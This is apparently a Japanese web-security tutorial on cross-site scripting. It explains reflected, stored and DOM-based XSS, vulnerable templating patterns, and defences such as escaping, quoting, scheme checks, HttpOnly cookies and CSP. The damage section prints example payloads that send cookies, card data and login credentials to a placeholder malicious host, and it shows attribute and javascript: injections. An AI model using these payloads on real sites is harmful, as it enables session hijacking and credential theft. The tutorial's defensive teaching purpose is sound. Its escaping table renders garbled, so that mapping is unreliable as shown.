クロスサイトスクリプティング (cross site scripting) とは Web アプリケーションの脆弱性のひとつで、HTML を動的に生成する際に、リクエストデータやヘッダに埋め込まれた悪意のあるデータをそのまま HTML として表示してしまい、悪意のあるスクリプトが実行されてしまうものです。悪意をもったスクリプトがサイトを横断して実行されることからクロスサイトスクリプティングと命名されています。略称は、CSS(Cascading Style Sheet) と混同されるため、CSS ではなく XSS と略されます。
例えば、掲示板などで、利用者が入力した文字列をそのまま HTML として表示した場合、利用者は文字だけではなく、HTML のタグも埋め込むことが可能となります。<b> などの無害なものであれば構いませんが、<script>~</script> で悪意のあるスクリプトを書き込まれると、秘密情報が盗まれたり、不正な振り込みが実施されたりなどのセキュリティ問題が発生します。
厳密には、HTMLの中に悪意のあるコードを埋め込まれてしまうものを「HTMLインジェクション」と呼び、その中で、サイトをまたがった悪意のあるスクリプトが実行されてしまうものをクロスサイトスクリプティングと呼びますが、ここでは、両者をまとめて影響と対策を紹介します。
XSS や HTMLインジェクションによる被害には下記などがあります。
下記などのスクリプトによって、Cookie に埋め込まれたセッション情報などの秘密情報を、悪意のあるサイトの管理者に盗まれてしまいます。
<script> location.href = 'http://悪意のあるサイト/getCookie.cgi?cookie=' + document.cookie; </script>
下記などのスクリプトによって、フォームに入力された秘密データを盗まれたりします。
<script> $('#submit').on('chick', function() { $.post("http://悪意のサイト/getCardData.cgi", {"card-data": $('#card-data').val()}); }); </script>
下記などのスクリプトによって、攻撃対象の掲示板などに対して不正なメッセージを投稿されてしまいます。
<script> $.post("/cgi-bin/blog.cgi", {"message": "悪意のある書き込み"}); </script>
スクリプトによりページの内容を書き換えられてしまいます。利用者に嘘の情報を与えるほか、下記などのスクリプトにより偽りのログイン画面を表示することで、利用者の ID/パスワードやクレジットカード番号が盗まれたりします。
<script> document.body.innerHTML = '\ <form method="POST" action="http://悪意のあるサイト/getIdPw.cgi">\ <div>ID: <input type="text" name="id"></div>\ <div>PW: <input type="password" name="password"></div>\ <input type="submit" value="Login">\ </form>'; </script>
XSS には主に 3つの攻撃手法があります。
悪意のあるサイトや悪意のあるメールに記載された URL を利用者がクリックしてしまうことで、URL に埋め込まれた悪意のあるスクリプトが脆弱性のあるサイトで実行されてしまうもの。
http://脆弱性のあるサイト/脆弱性のあるページ?q=<script>悪意のあるスクリプト</script>
攻撃者が、脆弱性のあるサイトの掲示板などに悪意のあるデータを書き込んで格納しておく。これを利用者が表示する際に、悪意のあるスクリプトが実行されてしまうもの。
名前: 山田<script>悪意のあるスクリプト</script>太郎
サーバ側ではなく、クライアント側で動的に JavaScript で HTML 生成を行う際に、悪意のあるスクリプトが埋め込まれてしまうもの。例えば、利用者が悪意のあるサイトに仕掛けられた下記の URL をクリックしたとする。
http://脆弱性のあるサイト/脆弱性のあるページ#<script>悪意のあるスクリプト</script>
脆弱性のあるサイトで下記の JavaScript が存在する場合、上記の悪意のある URL が書き込まれ、悪意のあるスクリプトが実行されてしまう。
div.innerHTML = location.hash;
サイトが XSS 脆弱性を含んでしまうケースには下記などがあります。
下記の場合、$data が 「<script>悪意のあるスクリプト</script>」の場合に悪意のあるスクリプトが実行されてしまいます。
<div>$data</div> ↓ <div><script>悪意のあるスクリプト</script></div>
下記の場合、$data が 「" onclick="悪意のあるスクリプト」の場合に悪意のあるスクリプトが実行されてしまいます。
<input type="button" value="$data"> ↓ <input type="button" value="" onclick="悪意のあるスクリプト">
JavaScript で動的に HTML を生成する際にも注意が必要です。下記の場合、「http://脆弱性のあるサイト/脆弱性のあるページ#<script>悪意のあるスクリプト</script>」のリンクからジャンプしてきた場合、悪意のあるスクリプトが実行されてしまいます。
div.innerHTML = location.hash; ↓ <div>#<script>悪意のあるスクリプト</script></div>
サニタイジングのみでは対処が不十分なケースのひとつで、下記の場合、$data が 「1 onclick=悪意のあるスクリプト」の場合に悪意のあるスクリプトが実行されてしまいます。
<input type="button" value=$data> ↓ <input type="button" value=1 onclick=悪意のあるスクリプト>
サニタイジングのみでは対処が不十分なケースのひとつで、下記の場合、$data が 「javascript:悪意のあるスクリプト」の場合に悪意のあるスクリプトが実行されてしまいます。
<a href="$data">...</a> ↓ <a href="javascript:悪意のあるスクリプト">...</a>
XSS の対処法としては下記などがあります。
HTML を表示する際に、テキストや属性値に含まれるメタ文字(特別な意味を持つ文字)をエスケープし、サニタイジング(無害化)します。
& → & // < が &lt; となってしまわないよう最初に置換
< → <
> → >
" → "
' → '
属性値にデータを指定する場合、必ず引用符で囲むようにします。
○ <input type="text" value="$data"> × <input type="text" value=$data>
href, rel, src などの属性値にユーザデータを指定する場合は、事前にスキームが http または https であることを確認します。
if ($data !~ /^(http|https):/) { エラー }
HTTP の Set-Cookie ヘッダに HttpOnly 属性を付与すると、Cookie の値は HTTP 交換のみで使用され、JavaScript から Cookie の値を読み出せなくなります。これにより、たとえサニタイジングの対策が不十分であっても、Cookie 値を不正に盗まれるリスクが低減します。
Set-Cookie: sid=a87fb3091cbe673876e; Secure; HttpOnly
近年では、CSP (Content Security Policy) 対策を導入するケースが増えています。下記などの HTTP ヘッダや <meta> タグを埋め込むことにより、<script>~</script> などのインラインスクリプト、onclick="~" などのイベントハンドラ、href="javascript:~" や eval() によるスクリプト実行が禁止され、<script src="~"> で読み込んだスクリプトの実行も、同じサイト(同一オリジン) から読み込んだものに限定されます。
Content-Security-Policy: default-src 'self'
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">